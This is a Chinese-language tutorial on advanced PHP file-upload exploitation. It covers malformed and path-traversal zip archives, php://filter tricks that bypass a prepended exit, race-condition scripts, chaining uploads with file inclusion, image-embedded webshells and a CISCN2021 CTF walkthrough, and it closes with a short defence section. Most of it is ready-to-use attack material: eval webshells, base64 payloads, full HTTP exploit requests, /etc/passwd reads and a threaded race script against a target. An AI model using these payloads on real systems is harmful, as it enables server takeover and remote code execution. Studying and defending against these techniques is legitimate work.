文件上传漏洞高级技巧

压缩包攻击

压缩包解压漏洞

漏洞原理:

压缩包解压漏洞的核心在于服务器对压缩包的处理逻辑存在缺陷。当服务器解压压缩包时,如果解压过程中出现错误,某些解压实现会保留已解压的文件,而不会进行清理。攻击者可以利用这一特性,通过构造特殊的压缩包,在解压过程中触发错误,从而保留恶意文件。

检测方法:

服务器代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
$zip = new \ZipArchive();
$name_for_zip = "example/" . $_POST["file"];
if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
die("要不咱们再看看?");
}
if ($zip->open($name_for_zip) !== TRUE) {
die ("都不能解压呢");
}

$pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
$zip->extractTo($pos_for_zip);
$zip->close();
unlink($name_for_zip);

这段代码存在严重的安全问题:解压完成后直接删除压缩包,但没有检查解压过程中是否出错,也没有对解压后的文件进行验证。

构造出错压缩包

技术原理:

构造出错压缩包的原理是利用不同解压工具对错误处理机制的差异。当解压工具遇到损坏的压缩包时,通常会采取以下策略之一:

  • 完全解压失败,不保留任何文件
  • 部分解压成功,保留已解压的文件
  • 解压过程中报错,但已解压的文件仍然存在

攻击者需要针对目标服务器使用的解压工具,构造相应的错误压缩包。

针对7zip的构造方法:

  • 第一步:准备文件

准备两个文件:1.php(webshell)和2.txt(普通文件)

  • 第二步:压缩文件

将这两个文件压缩成shell.zip

  • 第三步:修改CRC校验码

使用010editor打开shell.zip,找到2.txt的deCrc字段,修改其值。

原理说明: CRC(Cyclic Redundancy Check)是循环冗余校验,用于检测数据传输或存储过程中的错误。当7zip解压文件时,会验证每个文件的CRC值,如果CRC值不匹配,7zip会报错并停止解压。但是,在验证CRC之前,7zip可能已经解压了前面的文件(如1.php),这些文件会被保留。

  • 第四步:测试解压

使用7zip解压,会报错,但1.php已经成功解压。

针对ZipArchive的构造方法:

方法一:修改文件名包含非法字符

在Windows下,文件名不能包含冒号(:)

  • 第一步:准备文件

准备1.php(webshell)和2.txt

  • 第二步:压缩文件

将文件压缩成shell.zip

  • 第三步:修改文件名

使用010editor打开shell.zip,将2.txt的deFileName属性改为”2.tx:”

原理说明: PHP的ZipArchive类在解压文件时,会尝试创建文件。如果文件名包含非法字符(如冒号),文件创建会失败,导致解压过程报错。但是,在遇到错误之前,已经解压的文件(如1.php)会被保留。

  • 第四步:测试解压

使用PHP的ZipArchive解压,会报错,但1.php已经成功解压。

方法二:使用多个斜杠

在Linux下,文件名包含多个斜杠会出错。

  • 第一步:准备文件

准备1.php(webshell)和2.txt

  • 第二步:压缩文件

将文件压缩成shell.zip

  • 第三步:修改文件名

使用010editor打开shell.zip,将2.txt的deFileName属性改为”/////“

原理说明: 在Linux系统中,文件名不能包含斜杠(/),因为斜杠用于分隔目录路径。当ZipArchive尝试创建包含多个斜杠的文件名时,会报错,但已解压的文件会被保留。

  • 第四步:测试解压

使用PHP的ZipArchive解压,会报错,但1.php已经成功解压。

路径穿越攻击

攻击原理:

路径穿越攻击(Path Traversal)利用了压缩包解压时对文件名的处理不当。压缩包中的文件名可以包含相对路径(如../),如果解压程序没有正确验证文件名,攻击者可以将文件解压到任意目录。

技术原理:

在Unix/Linux系统中,”..”表示父目录。例如,”../../etc/passwd”表示向上两级目录,然后访问etc/passwd文件。当压缩包解压程序遇到包含”..”的文件名时,如果没有进行过滤,会将文件解压到指定的父目录中。

构造方法:

  • 第一步:准备webshell

创建一个名为aaaaaaaaaaaaaaaaaaaa.php的webshell文件。

原理说明: 文件名需要预留足够的空间,以便后续替换为路径穿越字符。

  • 第二步:压缩文件

将文件压缩成shell.zip

  • 第三步:修改文件名

使用notepad++或010editor打开shell.zip,将文件名的前9个字符改为../../../

修改后的文件名:../../../aaaaaaaaaaa.php

原理说明: “ ../../../“表示向上三级目录。假设解压目录为/var/www/html/uploads/,那么最终文件会被解压到/var/www/html/目录下。

  • 第四步:上传压缩包

上传修改后的zip文件

  • 第五步:访问webshell

访问http://target.com/aaaaaaaaaaa.php

实例演示:

原始压缩包结构:

1
2
shell.zip
└── aaaaaaaaaaaaaaaaaaaa.php

修改后的压缩包结构:

1
2
shell.zip
└── ../../../aaaaaaaaaaa.php

解压后文件位置:

1
/var/www/html/aaaaaaaaaaa.php

压缩包解压到临时目录的绕过

漏洞原理:

某些服务器会将压缩包解压到临时目录,然后对解压后的文件进行处理(如删除非图片文件)。攻击者可以利用路径穿越攻击,在文件被删除之前,将文件解压到Web根目录或其他持久化位置。

检测方法:

服务器代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 创建临时文件夹
$temp = FCPATH.'cache/attach/'.md5(uniqid().rand(0, 9999)).'/';
if (!file_exists($temp)) {
mkdir($temp, 0777);
}

$filename = $temp.'avatar.zip';
file_put_contents($filename, $GLOBALS['HTTP_RAW_POST_DATA']);

// 解压缩文件
$this->load->library('Pclzip');
$this->pclzip->PclFile($filename);

if ($this->pclzip->extract(PCLZIP_OPT_PATH, $temp, PCLZIP_OPT_REPLACE_NEWER) == 0) {
@dr_dir_delete($temp);
exit($this->pclzip->zip(true));
}

@unlink($filename);

这段代码存在竞争条件:解压完成后,会删除非图片文件。但是,如果攻击者能够在文件被删除之前访问文件,就可以成功利用。

绕过方法:

使用路径穿越攻击,将文件解压到Web根目录。

  • 第一步:准备webshell

创建webshell文件,文件名预留足够空间用于路径穿越。

  • 第二步:压缩文件

将文件压缩成shell.zip

  • 第三步:修改文件名

使用010editor打开shell.zip,将文件名改为../../../../../var/www/html/shell.php

原理说明: 通过多层路径穿越,将文件直接解压到Web根目录,避免文件被临时目录的清理机制删除。

  • 第四步:上传压缩包

上传修改后的zip文件

  • 第五步:访问webshell

访问http://target.com/shell.php

php://filter协议利用

php://filter协议简介

协议原理:

php://filter是PHP中独有的协议,用于在文件读取或写入时进行过滤处理。该协议可以与其他文件函数(如file_get_contents、file_put_contents、include、require等)配合使用,实现对文件内容的转换和过滤。

技术原理:

php://filter协议的基本语法为:

1
php://filter/<mode>=<filter>/<resource>

其中:

  • mode:read(读取)或write(写入)
  • filter:过滤器名称,如convert.base64-decode、string.rot13等
  • resource:目标文件路径

绕过死亡exit

漏洞原理:

某些文件上传功能会在用户上传的内容前添加”死亡代码”(如<?php exit; ?>),防止直接执行恶意代码。攻击者可以利用php://filter协议,通过过滤处理绕过这些限制。

技术原理:

当服务器执行类似以下代码时:

1
2
3
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

如果直接上传webshell,文件内容会变成:

1
<?php exit; ?><?php @eval($_POST['cmd']);?>

由于<?php exit; ?>会立即终止脚本执行,后面的webshell代码不会被执行。

检测方法:

服务器代码示例:

1
2
3
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

方法一:base64-decode

利用原理:

base64编码只包含64个可打印字符(A-Z、a-z、0-9、+、/),PHP在解码base64时,遇到不在其中的字符会跳过。

<?php exit; ?>中的<?;>、空格等字符不符合base64编码范围,会被忽略。最终被解码的字符只有”phpexit”和我们传入的其他字符。

“phpexit”共7个字符,base64算法解码时4个字节一组,所以增加1个”a”共8个字符,可以被完整解码为2组(4+4)。

利用步骤:

  • 第一步:构造payload

将webshell进行base64编码:

1
<?php @eval($_POST['cmd']);?>

base64编码后:

1
PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
  • 第二步:构造完整payload
1
php://filter/write=convert.base64-decode/resource=shell.php

原理说明: 使用php://filter协议的convert.base64-decode过滤器,将文件内容进行base64解码。由于<?php exit; ?>中的大部分字符会被忽略,最终只有”phpexit”和我们传入的base64编码会被解码。

  • 第三步:发送请求
1
2
3
4
POST /upload.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
  • 第四步:访问webshell

访问http://target.com/shell.php

方法二:strip_tags + base64-decode

利用原理:

<?php exit; ?>实际上是一个XML标签,可以使用strip_tags函数去除它。strip_tags函数会去除字符串中的HTML和PHP标签,只保留纯文本内容。

利用步骤:

  • 第一步:构造payload

将webshell进行base64编码。

  • 第二步:构造完整payload
1
php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php

原理说明: 使用string.strip_tags过滤器先去除<?php exit; ?>标签,然后使用convert.base64-decode过滤器解码base64编码的webshell。

  • 第三步:发送请求
1
2
3
4
POST /upload.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php&txt=PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
  • 第四步:访问webshell

访问http://target.com/shell.php

读取文件内容

技术原理:

php://filter协议不仅可以用于写入文件,还可以用于读取文件。通过不同的过滤器,可以对文件内容进行各种转换,便于读取敏感信息。

方法一:base64-encode

1
php://filter/read=convert.base64-encode/resource=/etc/passwd

原理说明: 使用convert.base64-encode过滤器将文件内容进行base64编码,可以避免特殊字符导致的问题,便于传输和显示。

方法二:rot13

1
php://filter/read=string.rot13/resource=/etc/passwd

原理说明: 使用string.rot13过滤器对文件内容进行ROT13加密(字母表偏移13位),可以绕过某些简单的过滤机制。

方法三:字符串转换

1
2
php://filter/read=string.toupper/resource=/etc/passwd
php://filter/read=string.tolower/resource=/etc/passwd

原理说明: 使用string.toupper和string.tolower过滤器将文件内容转换为大写或小写,可以绕过某些基于大小写的过滤。

条件竞争的高级利用

多线程并发攻击

攻击原理:

条件竞争(Race Condition)是指系统的行为依赖于多个事件执行的顺序。在文件上传场景中,如果服务器在文件上传后、删除前存在时间窗口,攻击者可以利用这个时间窗口访问文件。

技术原理:

典型的条件竞争场景:

  1. 用户上传文件
  2. 服务器验证文件
  3. 服务器保存文件
  4. 服务器删除文件(如果验证失败)

如果攻击者在步骤3和步骤4之间访问文件,就可以成功利用漏洞。

实现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import threading
import time

def upload_shell():
url = "http://target.com/upload.php"
files = {'file': open('shell.zip', 'rb')}
data = {'submit': 'Upload'}
requests.post(url, files=files, data=data)

def access_shell():
url = "http://target.com/uploads/shell.php"
while True:
try:
r = requests.get(url, timeout=1)
if r.status_code == 200 and 'shell' in r.text:
print("Shell accessed successfully!")
print(r.text)
break
except:
pass

# 启动上传线程
t1 = threading.Thread(target=upload_shell)
t1.start()

# 启动多个访问线程
threads = []
for i in range(50):
t = threading.Thread(target=access_shell)
t.start()
threads.append(t)

t1.join()
for t in threads:
t.join()

原理说明: 使用多线程并发技术,同时启动上传线程和多个访问线程。上传线程上传文件后,访问线程立即尝试访问文件,增加在文件被删除前成功访问的概率。

使用Burp Intruder

工具原理:

Burp Intruder是Burp Suite的一个模块,用于自动化攻击和测试。它可以发送大量请求,模拟并发访问,提高条件竞争攻击的成功率。

配置步骤:

  • 第一步:准备请求

准备上传文件的HTTP请求。

  • 第二步:设置Intruder

  • 设置Target为目标URL

  • 设置Payload为文件上传请求

  • 设置Payload类型为Null payloads

  • 设置Payload数量为1000

原理说明: Null payloads表示不修改请求内容,只是重复发送相同的请求。通过发送大量请求,模拟高并发场景。

  • 第三步:启动攻击

启动Intruder攻击,并发发送1000个请求。

  • 第四步:检查结果

检查响应,找到成功的请求。

文件包含配合文件上传

攻击原理:

当文件上传功能与文件包含漏洞结合时,可以形成更强大的攻击链。文件上传功能允许上传任意文件,文件包含功能可以执行上传的文件内容。

技术原理:

文件包含漏洞(LFI/RFI)允许攻击者包含并执行服务器上的文件。如果攻击者可以上传包含恶意代码的文件,然后通过文件包含漏洞执行这些代码,就可以绕过文件扩展名限制。

检测方法:

服务器代码示例:

1
2
3
4
5
6
7
8
9
10
// 文件上传
if (isset($_FILES['file'])) {
$upload_dir = 'uploads/';
$filename = $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . $filename);
}

// 文件包含
$page = $_GET['page'];
include($page);

利用方法:

  • 第一步:上传恶意文件

上传包含PHP代码的文件,如shell.txt

1
<?php @eval($_POST['cmd']);?>

原理说明: 文件扩展名为.txt,不会被直接执行,但包含PHP代码。

  • 第二步:文件包含执行

访问:

1
http://target.com/index.php?page=uploads/shell.txt

原理说明: 通过文件包含漏洞,包含shell.txt文件。PHP的include函数会执行包含的文件中的PHP代码。

  • 第三步:访问webshell

文件包含会执行shell.txt中的PHP代码,生成webshell。

图片马的高级制作

使用PNG-IDAT-Payload-Generator

工具原理:

PNG-IDAT-Payload-Generator是一个专门用于生成绕过GD库重建的PNG图片马的工具。它将PHP代码嵌入到PNG图片的IDAT(图像数据)块中,经过GD库处理后仍然保留。

技术原理:

PNG图片由多个块(Chunk)组成,其中IDAT块存储图像数据。GD库在处理PNG图片时,会重新生成IDAT块,但某些位置的数据可能不会被完全覆盖。PNG-IDAT-Payload-Generator利用这一特性,将PHP代码嵌入到这些位置。

使用步骤:

  • 第一步:下载工具
1
git clone https://github.com/huntergregal/PNG-IDAT-Payload-Generator.git
  • 第二步:准备webshell

创建webshell文件shell.php

1
<?php @eval($_POST['cmd']);?>
  • 第三步:生成PNG图片马
1
python png_idat_payload_generator.py shell.php

原理说明: 工具会将PHP代码嵌入到PNG图片的IDAT块中,生成一个新的PNG图片文件。

  • 第四步:上传图片

上传生成的PNG图片。

  • 第五步:访问webshell

访问生成的PNG图片,PHP代码会被执行。

使用ExifTool

技术原理:

ExifTool可以修改图片的EXIF(Exchangeable Image File Format)数据。EXIF数据存储在图片文件的元数据中,包含拍摄时间、相机型号等信息。某些服务器会读取EXIF数据并显示,如果服务器直接执行EXIF数据中的内容,就可以触发webshell。

使用步骤:

  • 第一步:准备图片

准备一张JPG图片。

  • 第二步:写入EXIF数据
1
exiftool -Comment='<?php @eval($_POST['cmd']);?>' image.jpg

原理说明: 将PHP代码写入图片的Comment字段。

  • 第三步:上传图片

上传修改后的图片。

  • 第四步:访问webshell

如果服务器使用exif_read_data()函数读取EXIF数据并执行,可以触发webshell。

文件上传漏洞的自动化检测

使用工具

dirsearch

1
dirsearch -u http://target.com -e php,html,asp,aspx,jsp -x 400,403,404

原理说明: dirsearch是一个目录扫描工具,可以枚举Web服务器上的目录和文件。通过指定文件扩展名,可以查找可能存在的webshell文件。

gobuster

1
gobuster dir -u http://target.com -w /path/to/wordlist.txt -x php,html,asp,aspx,jsp

原理说明: gobuster是另一个目录扫描工具,使用字典文件进行暴力破解,查找隐藏的目录和文件。

wfuzz

1
wfuzz -c -z file,/path/to/wordlist.txt --hc 404 http://target.com/FUZZ

原理说明: wfuzz是一个Web模糊测试工具,可以用于发现隐藏的文件和目录,也可以用于测试文件上传功能。

编写自定义脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import sys

def check_upload_vuln(url):
# 测试文件上传功能
upload_url = url + '/upload.php'
files = {'file': ('test.php', '<?php phpinfo(); ?>', 'image/jpeg')}
data = {'submit': 'Upload'}

try:
r = requests.post(upload_url, files=files, data=data)
if 'upload success' in r.text.lower():
print("[+] File upload vulnerability detected!")
print("[+] Try accessing: " + url + '/uploads/test.php')
return True
except Exception as e:
print("[-] Error: " + str(e))
return False

print("[-] No file upload vulnerability detected")
return False

if __name__ == '__main__':
if len(sys.argv) != 2:
print("Usage: python upload_check.py <target_url>")
sys.exit(1)

target_url = sys.argv[1]
check_upload_vuln(target_url)

原理说明: 自定义脚本通过上传PHP文件并检查响应,判断是否存在文件上传漏洞。如果上传成功,尝试访问上传的文件,验证是否可以执行。

综合利用案例

CISCN2021 Quals upload题目

题目分析:

题目包含两个文件:

  1. upload.php - 文件上传功能
  2. example.php - 文件解压功能

upload.php代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if ($ctf=="upload") {
if ($_FILES['postedFile']['size'] > 1024*512) {
die("这么大个的东西你是想d我吗?");
}
$imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
if ($imageinfo === FALSE) {
die("如果不能好好传图片的话就还是不要来打扰我了");
}
if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
die("东西不能方方正正的话就很讨厌");
}
$fileName=urldecode($_FILES['postedFile']['name']);
if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
die("有些东西让你传上去的话那可不得了");
}
$imagePath = "image/" . mb_strtolower($fileName);
if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
echo "upload success, image at $imagePath";
}
}

漏洞分析:

  • 文件大小限制:512KB
  • 必须是图片文件(使用getimagesize验证)
  • 图片尺寸必须是1x1像素
  • 文件名不能包含c、i、h、ph字符
  • 文件名会被URL解码并转换为小写

example.php代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
if($ctf=="poc") {
$zip = new \ZipArchive();
$name_for_zip = "example/" . $_POST["file"];
if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
die("要不咱们再看看?");
}
if ($zip->open($name_for_zip) !== TRUE) {
die ("都不能解压呢");
}

$pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
$zip->extractTo($pos_for_zip);
$zip->close();
unlink($name_for_zip);
$files = glob("$pos_for_zip/*");
foreach($files as $file){
if (is_dir($file)) {
continue;
}
$first = imagecreatefrompng($file);
$size = min(imagesx($first), imagesy($first));
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
$final_name = pathinfo($file)["basename"];
imagepng($second, 'example/'.$final_name);
imagedestroy($second);
}
imagedestroy($first);
unlink($file);
}
}

漏洞分析:

  • 解压zip文件到临时目录
  • 使用imagecreatefrompng处理PNG图片
  • 使用imagecrop裁剪图片
  • 保存处理后的图片到example目录
  • 删除临时文件

解题步骤:

  • 第一步:绕过字符过滤

使用Unicode字符İ(带点的I)绕过i的过滤。

原理说明: İ的Unicode编码是U+0130,与i(U+0069)不同,可以绕过简单的字符串匹配。但在某些情况下,PHP会将İ转换为i

  • 第二步:绕过图片尺寸限制

使用XBM格式创建1x1像素的图片:

1
2
3
4
5
#define test_width 1
#define test_height 1
static unsigned char test_bits[] = {
0x00
};

原理说明: XBM(X Bitmap)是一种简单的位图格式,使用C语言语法描述。getimagesize函数可以识别XBM格式,并正确读取图片尺寸。

  • 第三步:绕过GD库重建

使用PNG-IDAT-Payload-Generator生成PNG图片马。

原理说明: PNG-IDAT-Payload-Generator生成的PNG图片马,经过GD库处理后仍然保留PHP代码,可以绕过imagecreatefrompng和imagecrop的处理。

  • 第四步:构造zip文件

将生成的PNG图片重命名为shell.pĥp,放入zip文件。

原理说明: 使用Unicode字符绕过文件名过滤,pĥp不会被识别为php

  • 第五步:上传zip文件

使用example.php上传zip文件。

  • 第六步:访问webshell

访问解压后的PNG图片,执行PHP代码。

防御建议

深度防御策略

1. 严格的文件类型验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 使用白名单
$allowed_types = array('image/jpeg', 'image/png', 'image/gif');
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime_type = $finfo->file($_FILES['file']['tmp_name']);

if (!in_array($mime_type, $allowed_types)) {
die("Invalid file type");
}

// 验证文件扩展名
$allowed_ext = array('jpg', 'jpeg', 'png', 'gif');
$file_ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));

if (!in_array($file_ext, $allowed_ext)) {
die("Invalid file extension");
}

原理说明: 使用白名单机制,只允许特定的文件类型和扩展名。使用finfo函数检测文件的MIME类型,而不是依赖客户端提供的Content-Type。

2. 文件内容验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 验证图片文件
$image_info = getimagesize($_FILES['file']['tmp_name']);
if ($image_info === false) {
die("Invalid image file");
}

// 重新生成图片
$img = imagecreatefromstring(file_get_contents($_FILES['file']['tmp_name']));
if ($img === false) {
die("Failed to create image");
}

// 保存重新生成的图片
$new_filename = md5(uniqid()) . '.' . $file_ext;
imagejpeg($img, UPLOAD_PATH . $new_filename);
imagedestroy($img);

原理说明: 使用getimagesize验证文件是否为有效的图片文件,然后使用GD库重新生成图片,去除可能嵌入的恶意代码。

3. 文件重命名

1
2
3
// 生成唯一的文件名
$new_filename = md5(uniqid() . rand(1000, 9999)) . '.jpg';
move_uploaded_file($tmp_name, UPLOAD_PATH . $new_filename);

原理说明: 生成随机的文件名,避免使用用户提供的文件名,防止路径穿越和文件名注入攻击。

4. 存储在Web根目录之外

1
2
3
4
5
6
// 将文件存储在Web根目录之外
$upload_dir = '/var/uploads/';
move_uploaded_file($tmp_name, $upload_dir . $new_filename);

// 使用单独的脚本提供文件访问
// download.php?file=filename.jpg

原理说明: 将上传的文件存储在Web根目录之外,防止直接通过URL访问文件。使用单独的脚本提供文件访问,可以添加额外的验证和过滤。

5. 禁用脚本执行

1
2
3
4
5
6
7
8
9
# .htaccess配置
<FilesMatch "\.(php|php5|phtml)$">
Order Allow,Deny
Deny from all
</FilesMatch>

<FilesMatch "\.jpg$">
SetHandler None
</FilesMatch>

原理说明: 在上传目录中禁用PHP脚本的执行,防止上传的webshell被执行。

6. 限制文件权限

1
2
// 设置文件权限为644
chmod(UPLOAD_PATH . $new_filename, 0644);

原理说明: 设置文件权限为644(所有者可读写,其他用户只读),防止文件被执行。

7. 压缩包安全处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// 验证压缩包内容
$zip = new ZipArchive();
if ($zip->open($filename) === TRUE) {
for ($i = 0; $i < $zip->numFiles; $i++) {
$file_info = $zip->statIndex($i);
$file_name = $file_info['name'];

// 检查路径穿越
if (strpos($file_name, '..') !== false) {
die("Invalid filename");
}

// 检查文件扩展名
$file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (!in_array($file_ext, $allowed_ext)) {
die("Invalid file type in archive");
}
}

// 解压到临时目录
$temp_dir = sys_get_temp_dir() . '/' . md5(uniqid());
mkdir($temp_dir, 0755);
$zip->extractTo($temp_dir);

// 处理解压后的文件
// ...

// 清理临时目录
system("rm -rf " . escapeshellarg($temp_dir));
$zip->close();
}

原理说明: 在解压压缩包之前,验证所有文件的文件名,防止路径穿越攻击。解压到临时目录,处理完成后清理临时目录。检查文件扩展名,只允许特定的文件类型。

总结

本教程涵盖了文件上传漏洞的高级技巧,包括:

  • 压缩包攻击(构造出错压缩包、路径穿越)
  • php://filter协议利用
  • 条件竞争的高级利用
  • 文件包含配合文件上传
  • 图片马的高级制作
  • 文件上传漏洞的自动化检测
  • 综合利用案例
  • 深度防御策略

这些技术展示了文件上传漏洞的复杂性和多样性,需要深入理解才能有效防御。在实际应用中,应该采用多层防御策略,确保系统的安全性。